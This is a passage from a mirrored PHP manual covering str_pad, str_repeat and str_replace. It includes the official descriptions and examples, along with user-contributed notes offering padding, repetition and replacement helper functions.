   $query = preg_replace("/['\"]([^'\"]*)['\"]/i", "'<FONT COLOR='#FF6600'>$1</FONT>'", $query, -1);

   $query = str_ireplace(
                           array (
                                   '*',
                                   'SELECT ',
                                   'UPDATE ',
                                   'DELETE ',
                                   'INSERT ',
                                   'INTO',
                                   'VALUES',
                                   'FROM',
                                   'LEFT',
                                   'JOIN',
                                   'WHERE',
                                   'LIMIT',
                                   'ORDER BY',
                                   'AND',
                                   'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-)
                                   'DESC',
                                   'ASC',
                                   'ON '
                                 ),
                           array (
                                   "<FONT COLOR='#FF6600'><B>*</B></FONT>",
                                   "<FONT COLOR='#00AA00'><B>SELECT</B> </FONT>",
                                   "<FONT COLOR='#00AA00'><B>UPDATE</B> </FONT>",
                                   "<FONT COLOR='#00AA00'><B>DELETE</B> </FONT>",
                                   "<FONT COLOR='#00AA00'><B>INSERT</B> </FONT>",
                                   "<FONT COLOR='#00AA00'><B>INTO</B></FONT>",
                                   "<FONT COLOR='#00AA00'><B>VALUES</B></FONT>",
                                   "<FONT COLOR='#00AA00'><B>FROM</B></FONT>",
                                   "<FONT COLOR='#00CC00'><B>LEFT</B></FONT>",
                                   "<FONT COLOR='#00CC00'><B>JOIN</B></FONT>",
                                   "<FONT COLOR='#00AA00'><B>WHERE</B></FONT>",
                                   "<FONT COLOR='#AA0000'><B>LIMIT</B></FONT>",
                                   "<FONT COLOR='#00AA00'><B>ORDER BY</B></FONT>",
                                   "<FONT COLOR='#0000AA'><B>AND</B></FONT>",
                                   "<FONT COLOR='#0000AA'><B>OR</B> </FONT>",
                                   "<FONT COLOR='#0000AA'><B>DESC</B></FONT>",
                                   "<FONT COLOR='#0000AA'><B>ASC</B></FONT>",
                                   "<FONT COLOR='#00DD00'><B>ON</B> </FONT>"
                                 ),
                           $query
                         );

   echo "<FONT COLOR='#0000FF'><B>SQL[".$SQL_INT."]:</B> ".$query."<FONT COLOR='#FF0000'>;</FONT></FONT><BR>\n";

   $SQL_INT++;

} //SQL_DEBUG
?>
aidan at php dot net
21-Aug-2004 03:58
If you want to do string highlighting, for example highlighting search terms, try str_highlight().

http://aidan.dotgeek.org/lib/?file=function.str_highlight.php
aidan at php dot net
31-May-2004 01:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
sscanf | 上一级 | str_pad


str_pad

(PHP 4 >= 4.0.1, PHP 5)

str_pad -- Pad a string to a certain length with another string

Description

string str_pad ( string input, int pad_length [, string pad_string [, int pad_type]] )

This functions returns the input string padded on the left, the right, or both sides to the specified padding length. If the optional argument pad_string is not supplied, the input is padded with spaces, otherwise it is padded with characters from pad_string up to the limit.

Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. If pad_type is not specified it is assumed to be STR_PAD_RIGHT.

If the value of pad_length is negative or less than the length of the input string, no padding takes place.

例子 1. str_pad() example

<?php
$input = "Alien";
echo str_pad($input, 10);                      // produces "Alien     "
echo str_pad($input, 10, "-=", STR_PAD_LEFT);  // produces "-=-=-Alien"
echo str_pad($input, 10, "_", STR_PAD_BOTH);   // produces "__Alien___"
echo str_pad($input, 6 , "___");               // produces "Alien_"
?>

注: The pad_string may be truncated if the required number of padding characters can't be evenly divided by the pad_string's length.

add a note add a note User Contributed Notes
Silvio Ginter (silvio dot ginter at gmx dot de)
16-Nov-2005 12:43
Hello,

i updated the function in my last post. it should be much more performant now.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 101, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*    This function is an extension to str_pad, it manipulates the referenced
   string '$str' and stretches or reduces it to the specified length. It
   returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
   $origLen = strlen($str);
   if (strlen($str) < $len) {    /* stretch string */
       $str = str_pad($str, $len, $char, $str_pad_const);
   }
   else {                        /* reduce string */
       switch ($str_pad_const) {
           case STR_PAD_LEFT:
               $str = substr($str, (strlen($str) - $len), $len);
               break;
           case STR_PAD_BOTH:
               $shorten = (int) ((strlen($str) - $len) / 2);
               $str = substr($str, $shorten, $len);
               break;
           default:
               $str = substr($str, 0, $len);
               break;
       }
   }
   return ($len - $origLen);
}
?>
Silvio Ginter (silvio dot ginter at gmx dot de)
15-Nov-2005 11:53
Hello,

for anyone who needs this, I wrote this extension to str_pad. For details, just look at the comments.

<?php

$string = 'this is a test';
$oldLen = strlen($string);
$direction = STR_PAD_BOTH;
echo $string.'<br>';
echo str_const_len($string, 100, '#', $direction).'<br>';
echo $string.'<br>';
echo str_const_len($string, $oldLen, '#', $direction).'<br>';
echo $string.'<br><br>'."\n";

/*    This function is an extension to str_pad. It manipulates the referenced
   string '$str' and stretches or reduces it to the specified length. It
   returns the number of characters, that were added or stripped. */
function str_const_len(&$str, $len, $char = ' ', $str_pad_const = STR_PAD_RIGHT) {
   $dir = STR_PAD_RIGHT;
   $origLen = strlen($str);
   if (strlen($str) < $len) {    /* stretch string */
       $str = str_pad($str, $len, $char, $str_pad_const);
   }
   else {                        /* reduce string */
       switch ($str_pad_const) {
           case STR_PAD_LEFT:
               $str = substr($str, (strlen($str) - $len), $len);
               break;
           case STR_PAD_BOTH:
               /* reduce on both sides, beginning with the right one. */
               while (strlen($str) > $len) {
                   if ($dir == STR_PAD_RIGHT) {
                       $str = substr($str, 0, (strlen($str) - 1));
                       $dir = STR_PAD_LEFT;
                   }
                   else {
                       $str = substr($str, 1);
                       $dir = STR_PAD_RIGHT;
                   }
               }
               break;
           default:
               $str = substr($str, 0, $len);
               break;
       }
   }
   return ($len - $origLen);
}
?>
Michal Nazarewicz, min86 at tlen dot pl
24-Sep-2005 06:27
Re ks:
Your function does something different if $padchar is not a chararcter but rather a string. Still, however, private's function may be simplified:

<?php
function str_pad_right($str, $pad, $len) {
   return $str . str_pad('', $len, $pad);
}
function str_pad_left($str, $pad, $len) {
   return str_pad('', $len, $pad) . $str;
}
function str_pad_both($str, $pad, $len) {
   return ($s = str_pad('', $len, $pad)) . $str . $s;
}
?>
ks
12-Aug-2005 03:57
in reply to private dot email at optusnet dot com dot au:

you are defying the point of padding by adding a fixed amount of characters!

anyways, your functions are equivalent to the much simpler form of e.g.:

<?php

function str_pad_right($string, $padchar, $int) {
   return $str . str_repeat($padchar, $int);
}

?>
private dot email at optusnet dot com dot au
10-Aug-2005 08:04
I wrote these 3 functions that live in a library i include in every programme. I find them useful, and the syntax is easy.

<?php

$str = "test";

function str_pad_right ( $string , $padchar , $int ) {
   $i = strlen ( $string ) + $int;
   $str = str_pad ( $string , $i , $padchar , STR_PAD_RIGHT );
   return $str;
}

function str_pad_left ( $string , $padchar , $int ) {
   $i = strlen ( $string ) + $int;
   $str = str_pad ( $string , $i , $padchar , STR_PAD_LEFT );
   return $str;
}

function str_pad_both ( $string , $padchar , $int ) {
   $i = strlen ( $string ) + ( $int * 2 );
   $str = str_pad ( $string , $i , $padchar , STR_PAD_BOTH );
   return $str;
}

echo str_pad_left ( $str , "-" , 3 ); // Produces: ---test
echo str_pad_right ( $str , "-" , 3 ); // Produces: test---
echo str_pad_both ( $str , "-" , 3 ); // Produces: ---test---
?>

Hope this can help someone!
Anloc <info NOSPAM at anloc dot net>
20-May-2005 12:41
Tomek Krzeminski's iconv_str_pad modified for php 4 (iconv_strlen only works for php 5) courtesy of www.anloc.net

   function iconv_str_pad( $input, $pad_length, $pad_string = '', $pad_type = 1, $charset = "UTF-8" )
   {
       $str = '';
//      $length = $pad_length - iconv_strlen( $input, $charset );
       $length = $pad_length - preg_match_all('/./u', $input, $dummy);
       if( $length > 0)
       {
           if( $pad_type == STR_PAD_RIGHT )
           {
               $str = $input . str_repeat( $pad_string, $length );
           } elseif( $pad_type == STR_PAD_LEFT )
           {
               $str = str_repeat( $pad_string, $length ) . $input;
           } elseif( $pad_type == STR_PAD_BOTH )
           {
               $str = str_repeat( $pad_string, floor( $length / 2 ));
               $str .= $input;
               $str .= str_repeat( $pad_string, ceil( $length / 2 ));
           } else
           {
               $str = str_repeat( $pad_string, $length ) . $input;
           }
       } else
       {
           $str = $input;
       }

       return $str;
   }
zubfatal <root at it dot dk>
28-Mar-2005 01:28
<?php
   /**
     * str_pad_html - Pad a string to a certain length with another string.
     * accepts HTML code in param: $strPadString.
     *
     * @name        str_pad_html()
     * @author        Tim Johannessen <root@it.dk>
     * @version        1.0.0
     * @param        string    $strInput    The array to iterate through, all non-numeric values will be skipped.
     * @param        int    $intPadLength    Padding length, must be greater than zero.
     * @param        string    [$strPadString]    String to pad $strInput with (default: &nbsp;)
     * @param        int        [$intPadType]        STR_PAD_LEFT, STR_PAD_RIGHT (default), STR_PAD_BOTH
     * @return        string    Returns the padded string
   **/
   function str_pad_html($strInput = "", $intPadLength, $strPadString = "&nbsp;", $intPadType = STR_PAD_RIGHT) {
       if (strlen(trim(strip_tags($strInput))) < intval($intPadLength)) {

           switch ($intPadType) {
                 // STR_PAD_LEFT
               case 0:
                   $offsetLeft = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                   $offsetRight = 0;
                   break;

               // STR_PAD_RIGHT
               case 1:
                   $offsetLeft = 0;
                   $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                   break;

               // STR_PAD_BOTH
               case 2:
                   $offsetLeft = intval(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2);
                   $offsetRight = round(($intPadLength - strlen(trim(strip_tags($strInput)))) / 2, 0);
                   break;

               // STR_PAD_RIGHT
               default:
                   $offsetLeft = 0;
                   $offsetRight = intval($intPadLength - strlen(trim(strip_tags($strInput))));
                   break;
           }

           $strPadded = str_repeat($strPadString, $offsetLeft) . $strInput . str_repeat($strPadString, $offsetRight);
           unset($strInput, $offsetLeft, $offsetRight);

           return $strPadded;
       }

       else {
           return $strInput;
       }
   }

?>
Tomek Krzeminski
03-Feb-2005 05:20
for those who want to pad strings in UTF-8 charset (for example)
(orig by bob)
---------------
   private function iconv_str_pad( $input, $pad_length, $pad_string = '', $pad_type = 1, $charset = "UTF-8" )
   {
       $str = '';
       $length = $pad_length - iconv_strlen( $input, $charset );

       if( $length > 0)
       {
           if( $pad_type == STR_PAD_RIGHT )
           {
               $str = $input . str_repeat( $pad_string, $length );
           } elseif( $pad_type == STR_PAD_LEFT )
           {
               $str = str_repeat( $pad_string, $length ) . $input;
           } elseif( $pad_type == STR_PAD_BOTH )
           {
               $str = str_repeat( $pad_string, floor( $length / 2 ));
               $str .= $input;
               $str .= str_repeat( $pad_string, ceil( $length / 2 ));
           } else
           {
               $str = str_repeat( $pad_string, $length ) . $input;
           }
       } else
       {
           $str = $input;
       }

       return $str;
   }
02-Nov-2004 09:15
I just looked at bob[at]bobarmadillo[dot]coms version of str_pad and notice that he dint take into account the length of the padded string. He's assumed this is a single character, which the examples show it to be a string of characters.
giorgio dot balestrieri at mail dot wind dot it
17-Sep-2004 05:06
str_pad vs. sprintf 2nd round :)

After to have seen Rex and Squeegee results, I've ran the code again, using different OSs and PHP version.
Here my results:

OpenBSD & PHP 4.3.4

str_pad test started, please wait...
str_pad cycle completed in 88 seconds
sprintf test started, please wait...
sprintf cycle completed in 69 seconds

Windows XP & PHP 5.0.0

str_pad test started, please wait...
str_pad cycle completed in 33 seconds
sprintf test started, please wait...
sprintf cycle completed in 27 seconds

RedHat Linux 7.3 & PHP 4.3.3

str_pad test started, please wait...
str_pad cycle completed in 63 seconds
sprintf test started, please wait...
sprintf cycle completed in 43 seconds

sprintf seem to be faster yet, but considering Rex and Squeegee test, this cannot be considered always true... somebody want try more? Only to understand why... :)
tacomage at NOSPAM dot devilishly-deviant dot net
08-Jul-2004 11:04
If you want to pad a string to a certain screen length with &nbsp; or other HTML entities, but don't want to risk messing up any HTML characters inside the string, try this:

<?
function str_pad_as_single($input, $len, $pad, $flag=STR_PAD_RIGHT)
{
  $trans=array('$'=>$input,' '=>$pad);
  $output=str_pad('$',$len-strlen($input)+1,' ',$flag);
  $output=strtr($output,$trans);
  return $output;
}
echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;');
// will output <img src="some.gif">&nbsp;&nbsp;

echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;',STR_PAD_BOTH);
// will output &nbsp;<img src="some.gif">&nbsp;

echo str_pad_as_single('<img src="some.gif">',22,'&nbsp;',STR_PAD_LEFT);
// will output &nbsp;&nbsp;<img src="some.gif">
?>

It works by using single characters for str_pad, then replacing the characters with the full strings using strtr, so the two strings can't interfere with each other.  It also conveniently has the same syntax as str_pad.  Yes, I realize that spacing an image with text isn't the best idea, but it's just an example, it'll apply to other HTML as well :-P
giorgio dot balestrieri at mail dot wind dot it
10-Mar-2004 12:49
For number formatting (like writing numbers with leading zeroes etc.) , sprintf is much faster than str_pad.
Consider the following snippet (it take some minutes to run):

<?
  echo "str_pad test started, please wait...\n";

  $intStart = time();
  for ($idx = 1; $idx <= 10000000; $idx++)
   $strFoo = str_pad($idx, 10, "0", STR_PAD_LEFT);
  $intEnd = time();

  echo "str_pad cycle completed in " . ($intEnd - $intStart) . " seconds\n";
  echo "sprintf test started, please wait...\n";

  $intStart = time();
  for ($idx = 1; $idx <= 10000000; $idx++)
   $strFoo = sprintf("%010d", $idx);
  $intEnd = time();

  echo "sprintf cycle completed in " . ($intEnd - $intStart) . " seconds\n";
?>

The str_pad cyle runs 80-100% slower on my pc...
anon at example dot com
31-May-2003 01:50
alternatively use substr_replace to zero pad:

   $new_id = substr_replace("00000", $id, -1 * strlen($id));
ed at bigoakpictures dot com
07-May-2003 06:25
Combining it into a handy one liner could be:

$string = str_replace(" ", "&nbsp;", str_pad($string, 10, " ", STR_PAD_BOTH));
tharkos at telefonica dot net
03-Apr-2003 01:24
I think the simply way to print the special HTML character &nbsp; as string is usin the conversion types.

La manera ms simple de utilizar el caracter especial de HTML &nbsp; como un string es usando la comversin de tipos

echo str_repeat("&nbsp".chr(59), 10)
bob [at] bobarmadillo [dot] com
04-Dec-2002 01:22
In a lot of cases you're better off using str_repeat if you want to use something like  - it repeats the entire string.

Using str_repeat, I wrote a full string pad function that should closely mimic str_pad in every other way:

<?php
function full_str_pad($input, $pad_length, $pad_string = '', $pad_type = 0) {
 $str = '';
 $length = $pad_length - strlen($input);
 if ($length > 0) { // str_repeat doesn't like negatives
  if ($pad_type == STR_PAD_RIGHT) { // STR_PAD_RIGHT == 1
   $str = $input.str_repeat($pad_string, $length);
  } elseif ($pad_type == STR_PAD_BOTH) { // STR_PAD_BOTH == 2
   $str = str_repeat($pad_string, floor($length/2));
   $str .= $input;
   $str .= str_repeat($pad_string, ceil($length/2));
  } else { // defaults to STR_PAD_LEFT == 0
   $str = str_repeat($pad_string, $length).$input;
  }
 } else { // if $length is negative or zero we don't need to do anything
  $str = $input;
 }
 return $str;
}

$pad_me = "Test String";
echo '|'.full_str_pad($pad_me, 20, ' ')."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_RIGHT)."|\n";
echo '|'.full_str_pad($pad_me, 20, ' ', STR_PAD_BOTH)."|\n";
?>
david dot rensonnet at swing dot be
02-Dec-2002 07:18
my solution to saveloywill at netscape dot net:

$myvar2="Alien";
$myvar=str_pad($myvar2,15," ",STR_PAD_RIGHT);
$myvar=str_replace(" ","&nbsp;",$myvar);

this way, only complete spaces will show up.

enjoy!
david rensonnet
Fahad dot Gilani at anu dot edu dot au
02-Dec-2002 06:22
Basically, *all* of you guys have a 'long' way of padding text with html tags (which includes &nbsp;) You dont even have to do a str_replace... try the following code and this will work with ANY html tag there is out there and you don't have to worry about tag character lengths so on and so forth:
<?
  $text = "This is pretty interesting!";
  $pad_string = "&nbsp;";

  //Pad text on both sides
  $text = str_pad($text, strlen($text)+(20*strlen($pad_string)), $pad_string, STR_PAD_BOTH);
  print $text." Dont you think?";
?>
Will produce:
         This is pretty interesting!          Dont you think?

Cheers,
Fahad
no dot spam at no dot spam dot no
27-Sep-2002 07:28
there could already be spaces in the string.

1) strlen the string
2) replace spaces with "AUniqueString"
3) strlen the new string
4) compare the two strlen's
5) pad as needed considering the new strlen
6) finally, replace all "AUniqueString" 's with &nbsp; 's

hack & a half, slow as well i bet
cd579 at hotmail dot com
23-Aug-2002 04:53
Why not just use a space[' '] instead of a character that COULD be inside the string, and risk messing it up?  Example:

$string = 'test';

$string = str_pad($string, 10, " ", STR_PAD_BOTH);
// $string now equals '      test'

$string = str_replace(" ", "&nbsp;", $string);
mreilly at NOSPAM dot mac dot com
21-Aug-2002 02:23
When provided with a string of characters as the pad value, str_pad uses all the characters as fill, and can leave partial strings. (eg. If the pad value is 'ABC' and it needs 5 characters to pad with, it outputs 'ABCAB'.) This is a problem when you want to pad with non-breaking spaces, the code for which is 6 characters long.

This can be resolved by first padding the string with a single character that won't be found in the strings such as * then doing a str_replace of * with &nbsp;.
saveloywill at netscape dot net
11-Aug-2002 03:50
Here is my solution to the above problem.
Simply place the code in question inbetween  html <pre> tags, like this:

<?php
print "<pre>";
$input = "Alien";
print str_pad($input, 10);
print "*";
print "</pre>";
?>

Thanks.
pozytron#mac#com
09-Jul-2002 05:20
The trouble with cj@NOSPAM.ceejayoz.com's version over pestilenc@hotmail.com's is that many of the times it is used, it will end up with fragments of the "&nbsp;" code.

For example, the following code:
<?php
echo str_pad("TESTSTRING",60,"&nbsp;",STR_PAD_BOTH);
?>

produces the following HTML output:
&nbsp;&nbsp;&nbsp;&nbsp;&TESTSTRING&nbsp;&nbsp;&nbsp;&nbsp;&
cj at NOSPAM dot ceejayoz dot com
18-Jun-2002 03:38
Another solution to no_email@php.net's problem would be to simply multiply the padding string by 6.

e.g.

$string = str_pad($string, 10, "&nbsp;", STR_PAD_BOTH);

becomes

$string = str_pad($string, 60, "&nbsp;", STR_PAD_BOTH);

which will avoid problems with the above solution, which will mess up text that has the * in it (or whichever character you're replacing)
pestilenc at hotmail dot com
06-Jun-2002 07:26
For me this worked.
$string = 'help';

#First, str_pad() with unique character.
$string = str_pad($string, 10, "*", STR_PAD_BOTH);
#$string = '***help***';

#Second, str_replace with '&nbsp;'
$string = str_replace("*", "&nbsp;", $string);
no_email at php dot net
31-May-2002 01:34
To convert your string couldnt you just use strval($var)?

What if you want non-breaking spaces? If I try to str_pad with "&nbsp;" PHP thinks my padding string is 6 characters, whn in HTML it is only one.
jared at dctkc dot com
04-May-2002 07:25
matthew.somerville's code did NOT work for me.
neither did bert@catsburg.com's.
neither did any other documentation.
(if I isolated the code by itself, they all worked; but in the context I was using it, $value was numeric, and there is NO WAY to force it to be a string in PHP).

I had to roll my own. I used 'trim' to _force_
the value of $value to be string, because as
long as PHP thought it was numeric, I could
not use any form of left-padding with zeros.

This worked (I use sprintf to left-pad
$value with zeros to a length of 4):

sprintf("%04s",trim($value));
matthew dot somerville at trinity dot oxford dot ac dot uk
05-Aug-2001 09:53
I find:

$mystr = substr("0000$mystr",-4)

(where the 0s are padding characters and -4 is the negative of the maxlength to pad to) is even simpler.
rob at OhReally dot com
04-Mar-2001 07:34
To reformat the date "3-3-2001" to "2001-03-03" you would use this regexp:

$newdate = preg_replace("/([0-9]+)-([0-9]+)-([0-9]+)/ie", "'\\3-'.str_pad('\\2', 2, '0', STR_PAD_LEFT).'-'.str_pad('\\1', 2, '0', STR_PAD_LEFT)", $date);
add a note add a note

后退 | 起点 | 前进
str_ireplace | 上一级 | str_repeat


str_repeat

(PHP 4, PHP 5)

str_repeat -- Repeat a string

Description

string str_repeat ( string input, int multiplier )

Returns input_str repeated multiplier times. multiplier has to be greater than or equal to 0. If the multiplier is set to 0, the function will return an empty string.

例子 1. str_repeat() example

<?php
echo str_repeat("-=", 10);
?>

上例将输出：

-=-=-=-=-=-=-=-=-=-=

See also for, str_pad(), and substr_count().

add a note add a note User Contributed Notes
15-Sep-2005 10:32
In reply to what Roland Knall wrote:

It is much simpler to use printf() or sprintf() for leading zeros.

<?php
   printf("%05d<br>\n",  1); // Will echo 00001
   sprintf("%05d<br>\n",  1); // Will return 00001
?>
22-Jul-2003 01:45
str_repeat does not repeat symbol with code 0 on some (maybe all?) systems (tested on PHP Version 4.3.2 , FreeBSD 4.8-STABLE i386 ).

Use <pre>
while(strlen($str) < $desired) $str .= chr(0);
</pre> to have string filled with zero-symbols.
abodeman at enoughspamalready dot yahoo dot com
28-May-2003 05:35
Recursive functions are almost always slower than the corresponding iterative function. Therefore, dmarsh's function will be faster than Gail's.
Gal Chen
18-Mar-2003 11:18
a response to dmarsh
if u do wanna write a function that fills a string to a length its best to use a recoursive function

function str_repeattolength ($str, $length) {
  $strlength= strlen($str);
  if ($strlength>= $length) {
   return substr($str,0,$length);
  } else {
   return $str . str_repeattolength($str, $length - $strlength);
  }
}

or just use str_pad
bob at bobarmadillo dot com
21-Nov-2002 08:26
While dmarsh's function is nice it duplicates the function str_pad().
str_repeat is good when you want the entire string repeated.
For instance, if you want to put 6 &nbsp;'s in somewhere, str_pad will cut it off at odd places whereas str_repeat will return 6 full &nbsp's.

the following will return the same result as dmarsh's code.

$t = "-=-";
print str_pad('',0,$t)."\n";
print str_pad('',1,$t)."\n";
print str_pad('',2,$t)."\n";
...etc.
dmarsh dot NO dot SPAM dot PLEASE at spscc dot ctc dot edu
18-Sep-2002 07:15
If you need an alternate str_repeat function that outputs an exact length using a particular input string to fill that length (as opposed to repeating the input string), try this little gem:

<?php

// use this function:
function str_repeat2($input, $length) {
// returns the output exactly $length using $input to fill that length
$answer="";

if ($length>=1 && strlen($input)>=1) {
$answer = substr(str_repeat($input,  ceil($length/strlen($input)) ), 0, $length);
}

return $answer;
}

//demo the function's use:
$t="-=-";
print str_repeat2($t,0)."\n";
print str_repeat2($t,1)."\n";
print str_repeat2($t,2)."\n";
print str_repeat2($t,3)."\n";
print str_repeat2($t,4)."\n";
print str_repeat2($t,5)."\n";
print str_repeat2($t,6)."\n";
?>
dakota at dir dot bg
25-Jun-2002 06:06
Note that the first argument is parsed only once, so it's impossible to do things like this:

echo str_repeat(++$i, 10);

The example will produce 10 times the value of $i+1, and will not do a cycle from $i to $i+10.
bryantSPAMw at geocities dot SPAM dot com
25-Oct-2001 07:16
(For the benefit of those searching the website:)

This is the equivalent of Perl's "x" (repetition) operator, for eg.  str_repeat("blah", 8) in PHP does the same thing as "blah" x 8 in Perl.
add a note add a note

后退 | 起点 | 前进
str_pad | 上一级 | str_replace


str_replace

(PHP 3 >= 3.0.6, PHP 4, PHP 5)

str_replace -- Replace all occurrences of the search string with the replacement string

Description

mixed str_replace ( mixed search, mixed replace, mixed subject [, int &count] )

This function returns a string or an array with all occurrences of search in subject replaced with the given replace value. If you don't need fancy replacing rules (like regular expressions), you should always use this function instead of ereg_replace() or preg_replace().

As of PHP 4.0.5, every parameter in str_replace() can be an array.

警告

In PHP versions prior to 4.3.3 a bug existed when using arrays as both search and replace parameters which caused empty search indexes to be skipped without advancing the internal pointer on the replace array. This has been corrected in PHP 4.3.3, any scripts which relied on this bug should remove empty search values prior to calling this function in order to mimick the original behavior.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

If search and replace are arrays, then str_replace() takes a value from each array and uses them to do search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though.

例子 1. str_replace() examples

<?php
// Provides: <body text='black'>
$bodytag = str_replace("%body%", "black", "<body text='%body%'>");

// Provides: Hll Wrld f PHP
$vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U");
$onlyconsonants = str_replace($vowels, "", "Hello World of PHP");

// Provides: You should eat pizza, beer, and ice cream every day
$phrase  = "You should eat fruits, vegetables, and fiber every day.";
$healthy = array("fruits", "vegetables", "fiber");
$yummy   = array("pizza", "beer", "ice cream");

$newphrase = str_replace($healthy, $yummy, $phrase);

// Use of the count parameter is available as of PHP 5.0.0
$str = str_replace("ll", "", "good golly miss molly!", $count);
echo $count; // 2
?>

注: 本函数可安全用于二进制对象。

注: As of PHP 5.0.0 the number of matched and replaced needles (search) will be returned in count which is passed by reference. Prior to PHP 5.0.0 this parameter is not available.

See also
str_ireplace(),
substr_replace(),
ereg_replace(),
preg_replace(), and
strtr().

add a note add a note User Contributed Notes
xinobit at gmail dot com
08-Jun-2006 11:59
Here's a function that will replace many times as the last argument ask.

<?

function str_replace_count($search,$replace,$subject,$times) {

   $subject_original=$subject;

   $len=strlen($search);
   $pos=0;
   for ($i=1;$i<=$times;$i++) {
       $pos=strpos($subject,$search,$pos);

       if($pos!==false) {
           $subject=substr($subject_original,0,$pos);
           $subject.=$replace;
           $subject.=substr($subject_original,$pos+$len);
           $subject_original=$subject;
       } else {
           break;
       }
   }

   return($subject);

}

$w="abracadabra";

print str_replace_count("abra","----",$w,2);

?>
03-Apr-2006 10:57
Here's a function I put together from pieces other folks wrote. First, it replaces all MS Word smart quotes, EM dashes and EN dashes with their ASCII equivalents, then it goes through and deletes any non-ASCII characters (such as the 1/4 character).  The function was written with backwards-compatibility in mind, not performance. It worked successfully in PHP Version 4.2.3, but not in Version 4.2.2. Hopefully it'll help out someone:

function all_ascii( $stringIn ){
   $final = '';
   $search = array(chr(145),chr(146),chr(147),chr(148),chr(150),chr(151));
   $replace = array("'","'",'"','"','-','-');

   $hold = str_replace($search[0],$replace[0],$stringIn);
   $hold = str_replace($search[1],$replace[1],$hold);
   $hold = str_replace($search[2],$replace[2],$hold);
   $hold = str_replace($search[3],$replace[3],$hold);
   $hold = str_replace($search[4],$replace[4],$hold);
   $hold = str_replace($search[5],$replace[5],$hold);

   if(!function_exists('str_split')){
       function str_split($string,$split_length=1){
           $count = strlen($string);
           if($split_length < 1){
               return false;
           } elseif($split_length > $count){
               return array($string);
           } else {
               $num = (int)ceil($count/$split_length);
               $ret = array();
               for($i=0;$i<$num;$i++){
                   $ret[] = substr($string,$i*$split_length,$split_length);
               }
               return $ret;
           }
       }
   }

   $holdarr = str_split($hold);
   foreach ($holdarr as $val) {
       if (ord($val) < 128) $final .= $val;
   }
   return $final;
}

Example usage:  echo all_ascii( $myString );
matt wheaton
30-Mar-2006 11:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the  for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = '';  // left side double smart quote
  $find[] = '';  // right side double smart quote
  $find[] = '';  // left side single smart quote
  $find[] = '';  // right side single smart quote
  $find[] = '';  // elipsis
  $find[] = '';  // em dash
  $find[] = '';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>
vlatko dot surlan at RMVME gmail dot com
31-Jan-2006 01:57
Suggested code has some drawbacks in the context of many replacement pairs (i am not suggesting that mine has none). The example code you provided:

<?php
return str_replace(
  array('&#262;', '&#263;', '&#264;', [...]),
  array('&#262;', '&#263;', '&#264;', [...]),
  strtoupper($string)
 ) ;
?>

relies on the fact that visual identation is provided by all replacement elements beeing of the same width, which is hardly ever true in the real world (please correct me if I'm wrong). Another nasty feature is that this code extends to the right with addition of new elements while the solution provided in the earlier post extends in the driection of the natural flow of code, thus, retaining correct code width for all cases. Perhaps you have ommited the fact that I specifically intended suggested code format for cases with many replacement pairs indicated with /* many lines here */ in the previous post?
admin at sellchain dot com
31-Oct-2005 07:55
<?

# This is a complete profanity filter. I couldn't get any of the preg_replace statements working, so I made one that is CASE INSENSITIVE, SPACE INSENSITIVE too.

$original="This contains curseword, curse_word1, cursewor_d2, cursewo_rd3, and a bunch of other text...";

echo "Before: $original<br><br>";
$original=RemoveCurseWords($original);
echo "After: $original<br><br>";

function RemoveCurseWords($original) {

$patterns[0] = 'curseword';
$patterns[1] = 'curse_word1';
$patterns[2] = 'cursewor_d2';
$patterns[3] = 'cursewo_rd3';

$finalremove=$original;
$piece_front="";
$piece_back="";
$piece_replace="***";

   for ($x=0; $x < count($patterns); $x++) {

   $safety=0;
# Prevents infinity loops if you accidentally put in replacements that match your patterns. it could happen! :)
# The saftey could cause issues if you are replacing more than 100,000 occurrences in a string, so remove it if you trust it.

       while(strstr(strtolower($finalremove),strtolower($patterns[$x]))) {
       # find & remove all occurrence

       $safety=$safety+1;
       if ($safety >= 100000) { break; }

       $occ=strpos(strtolower($finalremove),strtolower($patterns[$x]));
       $piece_front=substr($finalremove,0,$occ);
       $piece_back=substr($finalremove,($occ+strlen($patterns[$x])));
       $finalremove=$piece_front . $piece_replace . $piece_back;
       } # while

   } # for

return $finalremove;

}
tjomi4 at yeap dot lv
18-Oct-2005 10:46
<?php
function utf8_str_replace($s,$r,$str){
# utf8 str_replace
# www.yeap.lv
 if(!is_array($s)){
  $s = '!'.preg_quote($s,'!').'!u';
  }else{
  foreach ($s as $k => $v) {
   $s[$k] = '!'.preg_quote($v).'!u';
  }
 }
return preg_replace($s,$r,$str);
}
?>
spectrereturns at creaturestoke dot com
23-May-2005 05:53
This is a little function I wrote replaces substrings in a string with different values. If there are more instances of $search in $string then there are elements in $replace, it will start over.

<?php
  function replace_different($search,$replace,$string) {
   $occs = substr_count($string,$search);
   $last = 0;
   $cur = 0;
   $data = '';
   for ($i=0;$i<$occs;$i++) {
     $find = strpos($string,$search,$last);
     $data .= substr($string,$last,$find-$last).$replace[$cur];
     $last = $find+strlen($search);
     if (++$cur == count($replace)) {
